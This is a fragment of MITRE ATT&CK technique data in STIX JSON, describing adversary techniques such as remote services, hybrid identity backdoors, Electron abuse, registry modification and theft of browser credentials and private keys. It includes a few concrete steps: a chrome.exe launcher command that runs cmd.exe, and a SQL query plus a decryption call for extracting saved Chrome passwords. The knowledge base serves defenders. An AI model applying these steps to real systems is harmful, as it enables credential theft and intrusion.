                    "url": "https://www.ssh.com/ssh"
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            "modified": "2025-10-24T17:48:48.472Z",
            "name": "Remote Services",
            "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain, or management platforms for internal virtualization environments such as VMware vCenter. \n\nLegitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)",
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            "created": "2020-03-15T16:21:45.131Z",
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                    "url": "https://attack.mitre.org/techniques/T1071/003",
                    "external_id": "T1071.003"
                },
                {
                    "source_name": "FireEye APT28",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "url": "https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "name": "Mail Protocols",
            "description": "Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments.  Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: FireEye APT28) ",
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                    "url": "https://attack.mitre.org/techniques/T1556/007",
                    "external_id": "T1556.007"
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                {
                    "source_name": "Azure AD Connect for Read Teamers",
                    "description": "Adam Chester. (2019, February 18). Azure AD Connect for Red Teamers. Retrieved September 28, 2022.",
                    "url": "https://blog.xpnsec.com/azuread-connect-for-redteam/"
                },
                {
                    "source_name": "AADInternals Azure AD On-Prem to Cloud",
                    "description": "Dr. Nestori Syynimaa. (2020, July 13). Unnoticed sidekick: Getting access to cloud as an on-prem admin. Retrieved September 28, 2022.",
                    "url": "https://o365blog.com/post/on-prem_admin/"
                },
                {
                    "source_name": "MagicWeb",
                    "description": "Microsoft Threat Intelligence Center, Microsoft Detection and Response Team, Microsoft 365 Defender Research Team . (2022, August 24). MagicWeb: NOBELIUM\u2019s post-compromise trick to authenticate as anyone. Retrieved September 28, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2022/08/24/magicweb-nobeliums-post-compromise-trick-to-authenticate-as-anyone/"
                },
                {
                    "source_name": "Azure AD Hybrid Identity",
                    "description": "Microsoft. (2022, August 26). Choose the right authentication method for your Azure Active Directory hybrid identity solution. Retrieved September 28, 2022.",
                    "url": "https://learn.microsoft.com/en-us/azure/active-directory/hybrid/choose-ad-authn"
                },
                {
                    "source_name": "Mandiant Azure AD Backdoors",
                    "description": "Mike Burns. (2020, September 30). Detecting Microsoft 365 and Azure Active Directory Backdoors. Retrieved September 28, 2022.",
                    "url": "https://www.mandiant.com/resources/detecting-microsoft-365-azure-active-directory-backdoors"
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            "name": "Hybrid Identity",
            "description": "Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts.  \n\nMany organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Microsoft Entra ID includes three options for synchronizing identities between Active Directory and Entra ID(Citation: Azure AD Hybrid Identity):\n\n* Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Entra ID, allowing authentication to Entra ID to take place entirely in the cloud \n* Pass Through Authentication (PTA), in which Entra ID authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory \n* Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Entra ID \n\nAD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users\u2019 identity and privileges. \n\nBy modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Entra ID, as well as records user credentials.(Citation: Azure AD Connect for Read Teamers)(Citation: AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.(Citation: MagicWeb)\n\nIn some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Entra ID tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Entra ID environment as any user.(Citation: Mandiant Azure AD Backdoors)",
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            "created": "2020-10-02T16:55:16.047Z",
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                {
                    "source_name": "OWASP Vuln Scanning",
                    "description": "OWASP. (n.d.). OAT-014 Vulnerability Scanning. Retrieved October 20, 2020.",
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            "description": "Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.\n\nThese scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",
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                    "external_id": "T1059.009"
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                    "source_name": "Microsoft - Azure PowerShell",
                    "description": "Microsoft. (2014, December 12). Azure/azure-powershell. Retrieved March 24, 2023.",
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            "description": "Adversaries may abuse cloud APIs to execute malicious commands. APIs available in cloud environments provide various functionalities and are a feature-rich method for programmatic access to nearly all aspects of a tenant. These APIs may be utilized through various methods such as command line interpreters (CLIs), in-browser Cloud Shells, [PowerShell](https://attack.mitre.org/techniques/T1059/001) modules like Azure for PowerShell(Citation: Microsoft - Azure PowerShell), or software developer kits (SDKs) available for languages such as [Python](https://attack.mitre.org/techniques/T1059/006).  \n\nCloud API functionality may allow for administrative access across all major services in a tenant such as compute, storage, identity and access management (IAM), networking, and security policies.\n\nWith proper permissions (often via use of credentials such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001) and [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), adversaries may abuse cloud APIs to invoke various functions that execute malicious actions. For example, CLI and PowerShell functionality may be accessed through binaries installed on cloud-hosted or on-premises hosts or accessed through a browser-based cloud shell offered by many cloud platforms (such as AWS, Azure, and GCP). These cloud shells are often a packaged unified environment to use CLI and/or scripting modules hosted as a container in the cloud environment.  ",
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            "id": "attack-pattern--55fc4df0-b42c-479a-b860-7a6761bcaad0",
            "created": "2020-10-02T16:56:05.810Z",
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                    "url": "https://attack.mitre.org/techniques/T1596",
                    "external_id": "T1596"
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                {
                    "source_name": "Circl Passive DNS",
                    "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
                    "url": "https://www.circl.lu/services/passive-dns/"
                },
                {
                    "source_name": "DNS Dumpster",
                    "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
                    "url": "https://dnsdumpster.com/"
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                {
                    "source_name": "Medium SSL Cert",
                    "description": "Jain, M. (2019, September 16). Export & Download \u2014 SSL Certificate from Server (Site URL). Retrieved October 20, 2020.",
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                },
                {
                    "source_name": "WHOIS",
                    "description": "NTT America. (n.d.). Whois Lookup. Retrieved November 17, 2024.",
                    "url": "https://who.is/"
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                {
                    "source_name": "Shodan",
                    "description": "Shodan. (n.d.). Shodan. Retrieved October 20, 2020.",
                    "url": "https://shodan.io"
                },
                {
                    "source_name": "SSLShopper Lookup",
                    "description": "SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.",
                    "url": "https://www.sslshopper.com/ssl-checker.html"
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                {
                    "source_name": "DigitalShadows CDN",
                    "description": "Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed \u2013 How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020.",
                    "url": "https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/"
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            "description": "Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan)\n\nAdversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
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                    "url": "https://attack.mitre.org/techniques/T1218/015",
                    "external_id": "T1218.015"
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                {
                    "source_name": "Electron 3",
                    "description": "Alanna Titterington. (2023, September 14). Security of Electron-based desktop applications. Retrieved March 7, 2024.",
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                    "source_name": "Electron Security",
                    "description": "ElectronJS.org. (n.d.). Retrieved March 7, 2024.",
                    "url": "https://www.electronjs.org/docs/latest/tutorial/using-native-node-modules"
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                    "source_name": "Electron 6-8",
                    "description": "Kosayev, U. (2023, June 15). One Electron to Rule Them All. Retrieved March 7, 2024.",
                    "url": "https://medium.com/@MalFuzzer/one-electron-to-rule-them-all-dc2e9b263daf"
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                    "source_name": "Electron 1",
                    "description": "TOM ABAI. (2023, August 10). There\u2019s a New Stealer Variant in Town, and It\u2019s Using Electron to Stay Fully Undetected. Retrieved March 7, 2024.",
                    "url": "https://www.mend.io/blog/theres-a-new-stealer-variant-in-town-and-its-using-electron-to-stay-fully-undetected/"
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                    "source_name": "Electron 2",
                    "description": "Trend Micro. (2023, June 6). Abusing Electronbased applications in targeted attacks. Retrieved March 7, 2024.",
                    "url": "https://www.first.org/resources/papers/conf2023/FIRSTCON23-TLP-CLEAR-Horejsi-Abusing-Electron-Based-Applications-in-Targeted-Attacks.pdf"
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            "name": "Electron Applications",
            "description": "Adversaries may abuse components of the Electron framework to execute malicious code. The Electron framework hosts many common applications such as Signal, Slack, and Microsoft Teams.(Citation: Electron 2) Originally developed by GitHub, Electron is a cross-platform desktop application development framework that employs web technologies like JavaScript, HTML, and CSS.(Citation: Electron 3) The Chromium engine is used to display web content and Node.js runs the backend code.(Citation: Electron 1)\n\nDue to the functional mechanics of Electron (such as allowing apps to run arbitrary commands), adversaries may also be able to perform malicious functions in the background potentially disguised as legitimate tools within the framework.(Citation: Electron 1) For example, the abuse of `teams.exe` and `chrome.exe` may allow adversaries to execute malicious commands as child processes of the legitimate application (e.g., `chrome.exe --disable-gpu-sandbox --gpu-launcher=\"C:\\Windows\\system32\\cmd.exe /c calc.exe`).(Citation: Electron 6-8)\n\nAdversaries may also execute malicious content by planting malicious [JavaScript](https://attack.mitre.org/techniques/T1059/007) within Electron applications.(Citation: Electron Security)",
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                {
                    "source_name": "IzyKnows auditd threat detection 2022",
                    "description": "IzySec. (2022, January 26). Linux auditd for Threat Detection. Retrieved September 29, 2023.",
                    "url": "https://izyknows.medium.com/linux-auditd-for-threat-detection-d06c8b941505"
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                    "source_name": "Red Hat System Auditing",
                    "description": "Jahoda, M. et al.. (2017, March 14). Red Hat  Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.",
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                {
                    "source_name": "ESET Ebury Feb 2014",
                    "description": "M.L\u00e9veill\u00e9, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.",
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                    "source_name": "Trustwave Honeypot SkidMap 2023",
                    "description": "Radoslaw Zdonczyk. (2023, July 30). Honeypot Recon: New Variant of SkidMap Targeting Redis. Retrieved September 29, 2023.",
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                    "source_name": "DCShadow Blog",
                    "description": "Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, 2018.",
                    "url": "https://www.dcshadow.com/"
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                {
                    "source_name": "Adsecurity Mimikatz Guide",
                    "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.",
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                    "source_name": "F-Secure BlackEnergy 2014",
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                    "description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.",
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                    "description": "TDL Project. (2016, February 4). TDL (Turla Driver Loader). Retrieved April 22, 2021.",
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                    "source_name": "Wikipedia Public Key Crypto",
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                    "source_name": "Palo Alto Prince of Persia",
                    "description": "Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia \u2013 Game Over. Retrieved July 5, 2017.",
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            "description": "Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)\n\nAdversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:\\Users\\(username)\\.ssh\\</code> on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)",
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                    "description": "Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows Registry. Retrieved August 9, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/"
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                {
                    "source_name": "Unit42 BabyShark Feb 2019",
                    "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/"
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            "name": "Modify Registry",
            "description": "Adversaries may interact with the Windows Registry as part of a variety of other techniques to aid in defense evasion, persistence, and execution.\n\nAccess to specific areas of the Registry depends on account permissions, with some keys requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification.(Citation: Microsoft Reg) Other tools, such as remote access tools, may also contain functionality to interact with the Registry through the Windows API.\n\nThe Registry may be modified in order to hide configuration information or malicious payloads via [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).(Citation: Unit42 BabyShark Feb 2019)(Citation: Avaddon Ransomware 2021)(Citation: Microsoft BlackCat Jun 2022)(Citation: CISA Russian Gov Critical Infra 2018) The Registry may also be modified to impair defenses, such as by enabling macros for all Microsoft Office products, allowing privilege escalation without alerting the user, increasing the maximum number of allowed outbound requests, and/or modifying systems to store plaintext credentials in memory.(Citation: CISA LockBit 2023)(Citation: Unit42 BabyShark Feb 2019)\n\nThe Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system.(Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) for RPC communication.\n\nFinally, Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API.(Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence.(Citation: TrendMicro POWELIKS AUG 2014)(Citation: SpectorOps Hiding Reg Jul 2017)",
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                    "source_name": "AppleDocs Launch Agent Daemons",
                    "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
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                    "source_name": "LaunchDaemon Hijacking",
                    "description": "Bradley Kemp. (2021, May 10). LaunchDaemon Hijacking: privilege escalation and persistence via insecure folder permissions. Retrieved July 26, 2021.",
                    "url": "https://bradleyjkemp.dev/post/launchdaemon-hijacking/"
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                    "url": "https://papers.put.as/papers/macosx/2016/RSA_OSX_Malware.pdf"
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                {
                    "source_name": "sentinelone macos persist Jun 2019",
                    "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.",
                    "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/"
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            "description": "Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in <code>/System/Library/LaunchDaemons/</code> and <code>/Library/LaunchDaemons/</code>. Required Launch Daemons parameters include a <code>Label</code> to identify the task, <code>Program</code> to provide a path to the executable, and <code>RunAtLoad</code> to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)\n\nAdversaries may install a Launch Daemon configured to execute at startup by using the <code>RunAtLoad</code> parameter set to <code>true</code> and the <code>Program</code> parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)\n\nAdditionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as <code>usr/local/bin</code> to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)",
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            "created": "2020-08-20T17:51:25.671Z",
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                    "external_id": "T1580"
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                {
                    "source_name": "Expel IO Evil in AWS",
                    "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.",
                    "url": "https://expel.io/blog/finding-evil-in-aws/"
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                    "source_name": "AWS Head Bucket",
                    "description": "Amazon Web Services. (n.d.). AWS HeadBucket. Retrieved February 14, 2022.",
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                    "description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.",
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                    "description": "Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020.",
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                    "source_name": "Google Compute Instances",
                    "description": "Google. (n.d.). gcloud compute instances list. Retrieved May 26, 2020.",
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                    "source_name": "Mandiant M-Trends 2020",
                    "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"
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                    "source_name": "Microsoft AZ CLI",
                    "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.",
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                    "source_name": "Malwarebytes OSINT Leaky Buckets - Hioureas",
                    "description": "Vasilios Hioureas. (2019, September 13). Hacking with AWS: incorporating leaky buckets into your OSINT workflow. Retrieved February 14, 2022.",
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            "description": "An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\n\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a <code>DescribeInstances</code> API within the Amazon EC2 API that can return information about one or more instances within an account, the <code>ListBuckets</code> API that returns a list of all buckets owned by the authenticated sender of the request, the <code>HeadBucket</code> API to determine a bucket\u2019s existence along with access permissions of the request sender, or the <code>GetPublicAccessBlock</code> API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the <code>gcloud compute instances list</code> command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command <code>az vm list</code> lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)\n\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as <code>DescribeDBInstances</code> to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.",
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                    "url": "https://attack.mitre.org/techniques/T1555/003",
                    "external_id": "T1555.003"
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                {
                    "source_name": "GitHub Mimikittenz July 2016",
                    "description": "Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz. Retrieved June 20, 2019.",
                    "url": "https://github.com/putterpanda/mimikittenz"
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                {
                    "source_name": "Talos Olympic Destroyer 2018",
                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
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                    "source_name": "Microsoft CryptUnprotectData April 2018",
                    "description": "Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved June 18, 2019.",
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                    "source_name": "Proofpoint Vega Credential Stealer May 2018",
                    "description": "Proofpoint. (2018, May 10). New Vega Stealer shines brightly in targeted campaign . Retrieved June 18, 2019.",
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                    "source_name": "FireEye HawkEye Malware July 2017",
                    "description": "Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18, 2019.",
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            "name": "Credentials from Web Browsers",
            "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, <code>AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code> and executing a SQL query: <code>SELECT action_url, username_value, password_value FROM logins;</code>. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function <code>CryptUnprotectData</code>, which uses the victim\u2019s cached logon credentials as the decryption key.(Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).",
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                    "description": "Microsoft. (2011, October 24). Environment Property. Retrieved July 27, 2016.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN"
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                    "source_name": "Microsoft CreateProcess",
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                    "source_name": "Windows NT Command Shell",
                    "description": "Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved December 5, 2014.",
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            "name": "Path Interception by Search Order Hijacking",
            "description": "Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\n\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking, the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument <code>net user</code>. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then <code>cmd.exe /C net user</code> will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL](https://attack.mitre.org/techniques/T1574/001).",
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            "description": "Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages. \n",
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                    "source_name": "CloudSploit - Unused AWS Regions",
                    "description": "CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.",
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                    "external_id": "T1557.003"
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                {
                    "source_name": "rfc2131",
                    "description": "Droms, R. (1997, March). Dynamic Host Configuration Protocol. Retrieved March 9, 2022.",
                    "url": "https://datatracker.ietf.org/doc/html/rfc2131"
                },
                {
                    "source_name": "new_rogue_DHCP_serv_malware",
                    "description": "Irwin, Ullrich, J. (2009, March 16). new rogue-DHCP server malware. Retrieved January 14, 2022.",
                    "url": "https://isc.sans.edu/forums/diary/new+rogueDHCP+server+malware/6025/"
                },
                {
                    "source_name": "rfc3315",
                    "description": "J. Bound, et al. (2003, July). Dynamic Host Configuration Protocol for IPv6 (DHCPv6). Retrieved June 27, 2022.",
                    "url": "https://datatracker.ietf.org/doc/html/rfc3315"
                },
                {
                    "source_name": "dhcp_serv_op_events",
                    "description": "Microsoft. (2006, August 31).  DHCP Server Operational Events. Retrieved March 7, 2022.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800668(v=ws.11)"
                },
                {
                    "source_name": "solution_monitor_dhcp_scopes",
                    "description": "Shoemaker, E. (2015, December 31). Solution: Monitor DHCP Scopes and Detect Man-in-the-Middle Attacks with PRTG and PowerShell. Retrieved September 12, 2024.",
                    "url": "https://web.archive.org/web/20231202025258/https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/"
                },
                {
                    "source_name": "w32.tidserv.g",
                    "description": "Symantec. (2009, March 22). W32.Tidserv.G. Retrieved January 14, 2022.",
                    "url": "https://web.archive.org/web/20150923175837/http://www.symantec.com/security_response/writeup.jsp?docid=2009-032211-2952-99&tabid=2"
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            "name": "DHCP Spoofing",
